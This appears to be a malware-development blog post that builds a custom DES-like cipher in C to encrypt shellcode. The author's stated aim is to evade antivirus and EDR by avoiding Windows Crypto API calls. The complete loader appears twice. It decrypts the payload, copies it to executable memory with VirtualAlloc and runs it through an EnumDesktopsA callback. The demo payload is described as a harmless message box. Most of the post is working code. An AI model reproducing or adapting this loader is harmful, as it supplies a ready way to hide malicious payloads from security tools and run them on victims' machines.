22 minute read

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on using DES-like ciphers on malware development. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

More than one year ago, I wrote post about encrypting payload via DES algorithm, but the caveat is that I used Windows Crypto API for encryption and decryption, thus increasing its level of detection, since AV engines and EDR do not like the use of functions such as CryptEncrypt, CryptDecrypt, CryptAcquireContext, etc and them always raise suspicions.

DES

The Data Encryption Standard (DES) is a block cipher characterized by a 56-bit key length, which has been pivotal in data security. The Data Encryption Standard (DES) has been identified as susceptible to formidable attacks, resulting in a gradual fall in its use. DES is a block cipher that encrypts data in 64-bit blocks, meaning 64 bits of plaintext are inputted into DES, resulting in 64 bits of ciphertext. The identical technique and key are employed for both encryption and decryption, with slight variations. The key length measures 56 bits.

practical example

My code for this article implements a simplified version of a “DES-like” cipher for encrypting and decrypting data payloads.

Key components are tables and constants. First of all we needs, permutation tables (e.g., IP_TABLE, FP_TABLE, E_TABLE, etc.). These control how bits are permuted during encryption and decryption:

// initial permutation table
static const uint8_t IP_TABLE[] = {
  58, 50, 42, 34, 26, 18, 10, 2,
  60, 52, 44, 36, 28, 20, 12, 4,
  62, 54, 46, 38, 30, 22, 14, 6,
  64, 56, 48, 40, 32, 24, 16, 8,
  57, 49, 41, 33, 25, 17,  9, 1,
  59, 51, 43, 35, 27, 19, 11, 3,
  61, 53, 45, 37, 29, 21, 13, 5,
  63, 55, 47, 39, 31, 23, 15, 7
};

// final permutation table
static const uint8_t FP_TABLE[] = {
  40, 8, 48, 16, 56, 24, 64, 32,
  39, 7, 47, 15, 55, 23, 63, 31,
  38, 6, 46, 14, 54, 22, 62, 30,
  37, 5, 45, 13, 53, 21, 61, 29,
  36, 4, 44, 12, 52, 20, 60, 28,
  35, 3, 43, 11, 51, 19, 59, 27,
  34, 2, 42, 10, 50, 18, 58, 26,
  33, 1, 41,  9, 49, 17, 57, 25
};

// expansion table
static const uint8_t E_TABLE[] = {
  32, 1, 2, 3, 4, 5,
  4, 5, 6, 7, 8, 9,
  8, 9, 10, 11, 12, 13,
  12, 13, 14, 15, 16, 17,
  16, 17, 18, 19, 20, 21,
  20, 21, 22, 23, 24, 25,
  24, 25, 26, 27, 28, 29,
  28, 29, 30, 31, 32, 1
};

// permutation table
static const uint8_t P_TABLE[] = {
  16, 7, 20, 21,
  29, 12, 28, 17,
  1, 15, 23, 26,
  5, 18, 31, 10,
  2, 8, 24, 14,
  32, 27, 3, 9,
  19, 13, 30, 6,
  22, 11, 4, 25
};

Next important things is substitution boxes that map 6-bit input values to 4-bit outputs, adding non-linearity:

// S-Boxes
static const uint8_t S_BOXES[8][4][16] = {
  {
    {14,  4, 13,  1,  2, 15, 11,  8,  3, 10,  6, 12,  5,  9,  0,  7},
    { 0, 15,  7,  4, 14,  2, 13,  1, 10,  6, 12, 11,  9,  5,  3,  8},
    { 4,  1, 14,  8, 13,  6,  2, 11, 15, 12,  9,  7,  3, 10,  5,  0},
    {15, 12,  8,  2,  4,  9,  1,  7,  5, 11,  3, 14, 10,  0,  6, 13}
  },
  {
    {15,  1,  8, 14,  6, 11,  3,  4,  9,  7,  2, 13, 12,  0,  5, 10},
    { 3, 13,  4,  7, 15,  2,  8, 14, 12,  0,  1, 10,  6,  9, 11,  5},
    { 0, 14,  7, 11, 10,  4, 13,  1,  5,  8, 12,  6,  9,  3,  2, 15},
    {13,  8, 10,  1,  3, 15,  4,  2, 11,  6,  7, 12,  0,  5, 14,  9}
  },
  {
    {10,  0,  9, 14,  6,  3, 15,  5,  1, 13, 12,  7, 11,  4,  2,  8},
    {13,  7,  0,  9,  3,  4,  6, 10,  2,  8,  5, 14, 12, 11, 15,  1},
    {13,  6,  4,  9,  8, 15,  3,  0, 11,  1,  2, 12,  5, 10, 14,  7},
    { 1, 10, 13,  0,  6,  9,  8,  7,  4, 15, 14,  3, 11,  5,  2, 12}
  },
  {
    { 7, 13, 14,  3,  0,  6,  9, 10,  1,  2,  8,  5, 11, 12,  4, 15},
    {13,  8, 11,  5,  6, 15,  0,  3,  4,  7,  2, 12,  1, 10, 14,  9},
    {10,  6,  9,  0, 12, 11,  7, 13, 15,  1,  3, 14,  5,  2,  8,  4},
    { 3, 15,  0,  6, 10,  1, 13,  8,  9,  4,  5, 11, 12,  7,  2, 14}
  },
  {
    { 2, 12,  4,  1,  7, 10, 11,  6,  8,  5,  3, 15, 13,  0, 14,  9},
    {14, 11,  2, 12,  4,  7, 13,  1,  5,  0, 15, 10,  3,  9,  8,  6},
    { 4,  2,  1, 11, 10, 13,  7,  8, 15,  9, 12,  5,  6,  3,  0, 14},
    {11,  8, 12,  7,  1, 14,  2, 13,  6, 15,  0,  9, 10,  4,  5,  3}
  },
  {
    {12,  1, 10, 15,  9,  2,  6,  8,  0, 13,  3,  4, 14,  7,  5, 11},
    {10, 15,  4,  2,  7, 12,  9,  5,  6,  1, 13, 14,  0, 11,  3,  8},
    { 9, 14, 15,  5,  2,  8, 12,  3,  7,  0,  4, 10,  1, 13, 11,  6},
    { 4,  3,  2, 12,  9,  5, 15, 10, 11, 14,  1,  7,  6,  0,  8, 13}
  },
  {
    { 4, 11,  2, 14, 15,  0,  8, 13,  3, 12,  9,  7,  5, 10,  6,  1},
    {13,  0, 11,  7,  4,  9,  1, 10, 14,  3,  5, 12,  2, 15,  8,  6},
    { 1,  4, 11, 13, 12,  3,  7, 14, 10, 15,  6,  8,  0,  5,  9,  2},
    { 6, 11, 13,  8,  1,  4, 10,  7,  9,  5,  0, 15, 14,  2,  3, 12}
  },
  {
    {13,  2,  8,  4,  6, 15, 11,  1, 10,  9,  3, 14,  5,  0, 12,  7},
    { 1, 15, 13,  8, 10,  3,  7,  4, 12,  5,  6, 11,  0, 14,  9,  2},
    { 7, 11,  4,  1,  9, 12, 14,  2,  0,  6, 10, 13, 15,  3,  5,  8},
    { 2,  1, 14,  7,  4, 10,  8, 13, 15, 12,  9,  0,  3,  5,  6, 11}
  }
};

And we need a shift table, this table specifies the number of left rotations applied to key segments during round key generation:

// key shifts per round
static const uint8_t SHIFT_TABLE[] = {
  1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};

Permutation function permutes bits based on the provided table. This is a core operation in the DES process:

// function for bit permutation
uint64_t permute(uint64_t input, const uint8_t *table, int table_size) {
  uint64_t output = 0;
  for (int i = 0; i < table_size; i++) {
    if ((input >> (64 - table[i])) & 1) {
      output |= (1ULL << (table_size - 1 - i));
    }
  }
  return output;
}

Function left_shift circularly shifts bits to the left by a specified number of positions:

// function for left shift
uint64_t left_shift(uint64_t input, int shift, int size) {
  return ((input << shift) | (input >> (size - shift))) & ((1ULL << size) - 1);
}

Next one is generate_round_keys function. This function creates 16 round-specific keys from the main key by permuting and shifting bits:

// function to generate round keys
void generate_round_keys(uint64_t key, uint64_t *round_keys) {
  uint64_t permuted_key = permute(key, PC1_TABLE, sizeof(PC1_TABLE));
  uint64_t C = (permuted_key >> 28) & ((1ULL << 28) - 1);
  uint64_t D = permuted_key & ((1ULL << 28) - 1);

  for (int round = 0; round < 16; round++) {
    C = left_shift(C, SHIFT_TABLE[round], 28);
    D = left_shift(D, SHIFT_TABLE[round], 28);
    uint64_t combined_key = (C << 28) | D;
    round_keys[round] = permute(combined_key, PC2_TABLE, sizeof(PC2_TABLE));
  }
}

The Feistel function performs a series of operations on the right half of the data block, including expansion, XOR with the round key, substitution using S-Boxes, and permutation:

// function for the Feistel function
uint64_t feistel(uint64_t R, uint64_t round_key) {
  uint64_t expanded_R = permute(R, E_TABLE, sizeof(E_TABLE));
  uint64_t xor_result = expanded_R ^ round_key;
  uint64_t s_box_result = 0;

  for (int i = 0; i < 8; i++) {
    uint8_t row = ((xor_result >> (42 - (i * 6))) & 0x2) | ((xor_result >> (47 - (i * 6))) & 0x1);
    uint8_t col = (xor_result >> (43 - (i * 6))) & 0xF;
    uint8_t s_box_value = S_BOXES[i][row][col];
    s_box_result |= (uint64_t)s_box_value << (28 - (i * 4));
  }
  return permute(s_box_result, P_TABLE, sizeof(P_TABLE));
}

Functions des_encrypt_block / des_decrypt_block perform DES encryption/decryption on 64-bit blocks of data using the round keys:

// function for DES encryption
void des_encrypt_block(uint8_t *block, uint64_t *round_keys) {
  uint64_t input = 0;
  for (int i = 0; i < 8; i++) {
    input = (input << 8) | block[i];
  }
  uint64_t permuted_input = permute(input, IP_TABLE, sizeof(IP_TABLE));
  uint64_t L = (permuted_input >> 32) & 0xFFFFFFFF;
  uint64_t R = permuted_input & 0xFFFFFFFF;

  for (int i = 0; i < 16; i++) {
    uint64_t next_L = R;
    uint64_t next_R = L ^ feistel(R, round_keys[i]);
    L = next_L;
    R = next_R;
  }

  uint64_t combined = (R << 32) | L;
  uint64_t output = permute(combined, FP_TABLE, sizeof(FP_TABLE));

  for (int i = 7; i >= 0; i--) {
    block[i] = (output >> (i * 8)) & 0xFF;
  }
}

// function for DES decryption
void des_decrypt_block(uint8_t *block, uint64_t *round_keys) {
  uint64_t input = 0;
  for (int i = 0; i < 8; i++) {
    input = (input << 8) | block[i];
  }
  uint64_t permuted_input = permute(input, IP_TABLE, sizeof(IP_TABLE));
  uint64_t L = (permuted_input >> 32) & 0xFFFFFFFF;
  uint64_t R = permuted_input & 0xFFFFFFFF;

  for (int i = 15; i >= 0; i--) {
    uint64_t next_R = L;
    uint64_t next_L = R ^ feistel(L, round_keys[i]);
    L = next_L;
    R = next_R;
  }
  uint64_t combined = (R << 32) | L;
  uint64_t output = permute(combined, FP_TABLE, sizeof(FP_TABLE));

  for (int i = 7; i >= 0; i--) {
    block[i] = (output >> (i * 8)) & 0xFF;
  }
}

For example, consider des_encrypt_block. How it works? The input block is permuted using IP_TABLE. Then the 64-bit block is divided into 32-bit left (L) and right (R) halves. And we doing 16 rounds of Feistel operations. In each round:

  • The Feistel function is applied to the right half.
  • The left half is XORed with the Feistel result.
  • The halves are swapped.

The final block is recombined and permuted using FP_TABLE.

The next function is encrypts the entire payload by splitting it into 8-byte blocks and encrypting each block:

// function to encrypt the payload
void des_encrypt_payload(unsigned char *payload, int payload_len, uint64_t key) {
  uint64_t round_keys[16];
  generate_round_keys(key, round_keys);

  int i;
  for (i = 0; i < payload_len / BLOCK_SIZE; i++) {
    des_encrypt_block(payload + i * BLOCK_SIZE, round_keys);
  }
  int remaining = payload_len % BLOCK_SIZE;
  if (remaining != 0) {
    unsigned char pad[BLOCK_SIZE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, remaining);
    des_encrypt_block(pad, round_keys);
    memcpy(payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, pad, remaining);
  }
}

As you can see, this function ensures that all blocks are processed, including padding for the last block if necessary.

The des_decrypt_payload function decrypts the payload and prints it to verify successful decryption.

In the main function, the decrypted payload is loaded into memory using VirtualAlloc with PAGE_EXECUTE_READWRITE permissions, the EnumDesktopsA API is called with a pointer to the loaded payload. This is a way to attempt indirect execution of the decrypted payload:

// example usage
int main() {
  unsigned char my_payload[] = 
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";
  int my_payload_len = sizeof(my_payload) - 1;

  uint64_t key = 0x0123456789ABCDEF;

  int pad_len = my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE;
  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, my_payload_len);


  printf("original payload: ");
  for (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", my_payload[i]);
  }
  printf("\n\n");

  des_encrypt_payload(padded, pad_len, key);

  printf("encrypted payload: ");
   for (int i = 0; i < pad_len; i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");

  des_decrypt_payload(padded, pad_len, key);

  printf("decrypted payload: ");
  for (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");
  
  LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, my_payload_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  return 0;
}

So, full source code is looks like this (hack.c):

/*
* hack.c
* encrypt/decrypt payload via
* DES-like cipher
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/01/16/malware-cryptography-39.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <windows.h>

#define BLOCK_SIZE 8

// initial permutation table
static const uint8_t IP_TABLE[] = {
  58, 50, 42, 34, 26, 18, 10, 2,
  60, 52, 44, 36, 28, 20, 12, 4,
  62, 54, 46, 38, 30, 22, 14, 6,
  64, 56, 48, 40, 32, 24, 16, 8,
  57, 49, 41, 33, 25, 17,  9, 1,
  59, 51, 43, 35, 27, 19, 11, 3,
  61, 53, 45, 37, 29, 21, 13, 5,
  63, 55, 47, 39, 31, 23, 15, 7
};

// final permutation table
static const uint8_t FP_TABLE[] = {
  40, 8, 48, 16, 56, 24, 64, 32,
  39, 7, 47, 15, 55, 23, 63, 31,
  38, 6, 46, 14, 54, 22, 62, 30,
  37, 5, 45, 13, 53, 21, 61, 29,
  36, 4, 44, 12, 52, 20, 60, 28,
  35, 3, 43, 11, 51, 19, 59, 27,
  34, 2, 42, 10, 50, 18, 58, 26,
  33, 1, 41,  9, 49, 17, 57, 25
};

// expansion table
static const uint8_t E_TABLE[] = {
  32, 1, 2, 3, 4, 5,
  4, 5, 6, 7, 8, 9,
  8, 9, 10, 11, 12, 13,
  12, 13, 14, 15, 16, 17,
  16, 17, 18, 19, 20, 21,
  20, 21, 22, 23, 24, 25,
  24, 25, 26, 27, 28, 29,
  28, 29, 30, 31, 32, 1
};

// permutation table
static const uint8_t P_TABLE[] = {
  16, 7, 20, 21,
  29, 12, 28, 17,
  1, 15, 23, 26,
  5, 18, 31, 10,
  2, 8, 24, 14,
  32, 27, 3, 9,
  19, 13, 30, 6,
  22, 11, 4, 25
};

// S-Boxes
static const uint8_t S_BOXES[8][4][16] = {
  {
    {14,  4, 13,  1,  2, 15, 11,  8,  3, 10,  6, 12,  5,  9,  0,  7},
    { 0, 15,  7,  4, 14,  2, 13,  1, 10,  6, 12, 11,  9,  5,  3,  8},
    { 4,  1, 14,  8, 13,  6,  2, 11, 15, 12,  9,  7,  3, 10,  5,  0},
    {15, 12,  8,  2,  4,  9,  1,  7,  5, 11,  3, 14, 10,  0,  6, 13}
  },
  {
    {15,  1,  8, 14,  6, 11,  3,  4,  9,  7,  2, 13, 12,  0,  5, 10},
    { 3, 13,  4,  7, 15,  2,  8, 14, 12,  0,  1, 10,  6,  9, 11,  5},
    { 0, 14,  7, 11, 10,  4, 13,  1,  5,  8, 12,  6,  9,  3,  2, 15},
    {13,  8, 10,  1,  3, 15,  4,  2, 11,  6,  7, 12,  0,  5, 14,  9}
  },
  {
    {10,  0,  9, 14,  6,  3, 15,  5,  1, 13, 12,  7, 11,  4,  2,  8},
    {13,  7,  0,  9,  3,  4,  6, 10,  2,  8,  5, 14, 12, 11, 15,  1},
    {13,  6,  4,  9,  8, 15,  3,  0, 11,  1,  2, 12,  5, 10, 14,  7},
    { 1, 10, 13,  0,  6,  9,  8,  7,  4, 15, 14,  3, 11,  5,  2, 12}
  },
  {
    { 7, 13, 14,  3,  0,  6,  9, 10,  1,  2,  8,  5, 11, 12,  4, 15},
    {13,  8, 11,  5,  6, 15,  0,  3,  4,  7,  2, 12,  1, 10, 14,  9},
    {10,  6,  9,  0, 12, 11,  7, 13, 15,  1,  3, 14,  5,  2,  8,  4},
    { 3, 15,  0,  6, 10,  1, 13,  8,  9,  4,  5, 11, 12,  7,  2, 14}
  },
  {
    { 2, 12,  4,  1,  7, 10, 11,  6,  8,  5,  3, 15, 13,  0, 14,  9},
    {14, 11,  2, 12,  4,  7, 13,  1,  5,  0, 15, 10,  3,  9,  8,  6},
    { 4,  2,  1, 11, 10, 13,  7,  8, 15,  9, 12,  5,  6,  3,  0, 14},
    {11,  8, 12,  7,  1, 14,  2, 13,  6, 15,  0,  9, 10,  4,  5,  3}
  },
  {
    {12,  1, 10, 15,  9,  2,  6,  8,  0, 13,  3,  4, 14,  7,  5, 11},
    {10, 15,  4,  2,  7, 12,  9,  5,  6,  1, 13, 14,  0, 11,  3,  8},
    { 9, 14, 15,  5,  2,  8, 12,  3,  7,  0,  4, 10,  1, 13, 11,  6},
    { 4,  3,  2, 12,  9,  5, 15, 10, 11, 14,  1,  7,  6,  0,  8, 13}
  },
  {
    { 4, 11,  2, 14, 15,  0,  8, 13,  3, 12,  9,  7,  5, 10,  6,  1},
    {13,  0, 11,  7,  4,  9,  1, 10, 14,  3,  5, 12,  2, 15,  8,  6},
    { 1,  4, 11, 13, 12,  3,  7, 14, 10, 15,  6,  8,  0,  5,  9,  2},
    { 6, 11, 13,  8,  1,  4, 10,  7,  9,  5,  0, 15, 14,  2,  3, 12}
  },
  {
    {13,  2,  8,  4,  6, 15, 11,  1, 10,  9,  3, 14,  5,  0, 12,  7},
    { 1, 15, 13,  8, 10,  3,  7,  4, 12,  5,  6, 11,  0, 14,  9,  2},
    { 7, 11,  4,  1,  9, 12, 14,  2,  0,  6, 10, 13, 15,  3,  5,  8},
    { 2,  1, 14,  7,  4, 10,  8, 13, 15, 12,  9,  0,  3,  5,  6, 11}
  }
};

// PC-1 table (key permutation)
static const uint8_t PC1_TABLE[] = {
  57, 49, 41, 33, 25, 17, 9,
  1, 58, 50, 42, 34, 26, 18,
  10, 2, 59, 51, 43, 35, 27,
  19, 11, 3, 60, 52, 44, 36,
  63, 55, 47, 39, 31, 23, 15,
  7, 62, 54, 46, 38, 30, 22,
  14, 6, 61, 53, 45, 37, 29,
  21, 13, 5, 28, 20, 12, 4
};

// PC-2 table (key permutation for each round)
static const uint8_t PC2_TABLE[] = {
  14, 17, 11, 24, 1, 5,
  3, 28, 15, 6, 21, 10,
  23, 19, 12, 4, 26, 8,
  16, 7, 27, 20, 13, 2,
  41, 52, 31, 37, 47, 55,
  30, 40, 51, 45, 33, 48,
  44, 49, 39, 56, 34, 53,
  46, 42, 50, 36, 29, 32
};

// key shifts per round
static const uint8_t SHIFT_TABLE[] = {
  1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};

// function for bit permutation
uint64_t permute(uint64_t input, const uint8_t *table, int table_size) {
  uint64_t output = 0;
  for (int i = 0; i < table_size; i++) {
    if ((input >> (64 - table[i])) & 1) {
      output |= (1ULL << (table_size - 1 - i));
    }
  }
  return output;
}

// function for left shift
uint64_t left_shift(uint64_t input, int shift, int size) {
  return ((input << shift) | (input >> (size - shift))) & ((1ULL << size) - 1);
}

// function to generate round keys
void generate_round_keys(uint64_t key, uint64_t *round_keys) {
  uint64_t permuted_key = permute(key, PC1_TABLE, sizeof(PC1_TABLE));
  uint64_t C = (permuted_key >> 28) & ((1ULL << 28) - 1);
  uint64_t D = permuted_key & ((1ULL << 28) - 1);

  for (int round = 0; round < 16; round++) {
    C = left_shift(C, SHIFT_TABLE[round], 28);
    D = left_shift(D, SHIFT_TABLE[round], 28);
    uint64_t combined_key = (C << 28) | D;
    round_keys[round] = permute(combined_key, PC2_TABLE, sizeof(PC2_TABLE));
  }
}


// function for the Feistel function
uint64_t feistel(uint64_t R, uint64_t round_key) {
  uint64_t expanded_R = permute(R, E_TABLE, sizeof(E_TABLE));
  uint64_t xor_result = expanded_R ^ round_key;
  uint64_t s_box_result = 0;

  for (int i = 0; i < 8; i++) {
    uint8_t row = ((xor_result >> (42 - (i * 6))) & 0x2) | ((xor_result >> (47 - (i * 6))) & 0x1);
    uint8_t col = (xor_result >> (43 - (i * 6))) & 0xF;
    uint8_t s_box_value = S_BOXES[i][row][col];
    s_box_result |= (uint64_t)s_box_value << (28 - (i * 4));
  }
  return permute(s_box_result, P_TABLE, sizeof(P_TABLE));
}


// function for DES encryption
void des_encrypt_block(uint8_t *block, uint64_t *round_keys) {
  uint64_t input = 0;
  for (int i = 0; i < 8; i++) {
    input = (input << 8) | block[i];
  }
  uint64_t permuted_input = permute(input, IP_TABLE, sizeof(IP_TABLE));
  uint64_t L = (permuted_input >> 32) & 0xFFFFFFFF;
  uint64_t R = permuted_input & 0xFFFFFFFF;

  for (int i = 0; i < 16; i++) {
    uint64_t next_L = R;
    uint64_t next_R = L ^ feistel(R, round_keys[i]);
    L = next_L;
    R = next_R;
  }

  uint64_t combined = (R << 32) | L;
  uint64_t output = permute(combined, FP_TABLE, sizeof(FP_TABLE));

  for (int i = 7; i >= 0; i--) {
    block[i] = (output >> (i * 8)) & 0xFF;
  }
}

// function for DES decryption
void des_decrypt_block(uint8_t *block, uint64_t *round_keys) {
  uint64_t input = 0;
  for (int i = 0; i < 8; i++) {
    input = (input << 8) | block[i];
  }
  uint64_t permuted_input = permute(input, IP_TABLE, sizeof(IP_TABLE));
  uint64_t L = (permuted_input >> 32) & 0xFFFFFFFF;
  uint64_t R = permuted_input & 0xFFFFFFFF;

  for (int i = 15; i >= 0; i--) {
    uint64_t next_R = L;
    uint64_t next_L = R ^ feistel(L, round_keys[i]);
    L = next_L;
    R = next_R;
  }
  uint64_t combined = (R << 32) | L;
  uint64_t output = permute(combined, FP_TABLE, sizeof(FP_TABLE));

  for (int i = 7; i >= 0; i--) {
    block[i] = (output >> (i * 8)) & 0xFF;
  }
}

// function to encrypt the payload
void des_encrypt_payload(unsigned char *payload, int payload_len, uint64_t key) {
  uint64_t round_keys[16];
  generate_round_keys(key, round_keys);

  int i;
  for (i = 0; i < payload_len / BLOCK_SIZE; i++) {
    des_encrypt_block(payload + i * BLOCK_SIZE, round_keys);
  }
  int remaining = payload_len % BLOCK_SIZE;
  if (remaining != 0) {
    unsigned char pad[BLOCK_SIZE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, remaining);
    des_encrypt_block(pad, round_keys);
    memcpy(payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, pad, remaining);
  }
}

// function to decrypt the payload
void des_decrypt_payload(unsigned char *payload, int payload_len, uint64_t key) {
  uint64_t round_keys[16];
  generate_round_keys(key, round_keys);

  int i;
  for (i = 0; i < payload_len / BLOCK_SIZE; i++) {
    des_decrypt_block(payload + i * BLOCK_SIZE, round_keys);
  }
  int remaining = payload_len % BLOCK_SIZE;
  if (remaining != 0) {
    unsigned char pad[BLOCK_SIZE] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
    memcpy(pad, payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, remaining);
    des_decrypt_block(pad, round_keys);
    memcpy(payload + (payload_len / BLOCK_SIZE) * BLOCK_SIZE, pad, remaining);
  }
}


// example usage
int main() {
  unsigned char my_payload[] = 
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";
  int my_payload_len = sizeof(my_payload) - 1;

  uint64_t key = 0x0123456789ABCDEF;

  int pad_len = my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE;
  unsigned char padded[pad_len];
  memset(padded, 0x90, pad_len);
  memcpy(padded, my_payload, my_payload_len);


  printf("original payload: ");
  for (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", my_payload[i]);
  }
  printf("\n\n");

  des_encrypt_payload(padded, pad_len, key);

  printf("encrypted payload: ");
   for (int i = 0; i < pad_len; i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");

  des_decrypt_payload(padded, pad_len, key);

  printf("decrypted payload: ");
  for (int i = 0; i < my_payload_len; i++) {
    printf("%02x ", padded[i]);
  }
  printf("\n\n");
  
  LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, padded, my_payload_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

  return 0;
}

As you can see, as usual, I used meow-meow messagebox payload for demo purposes:

unsigned char my_payload[] = 
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
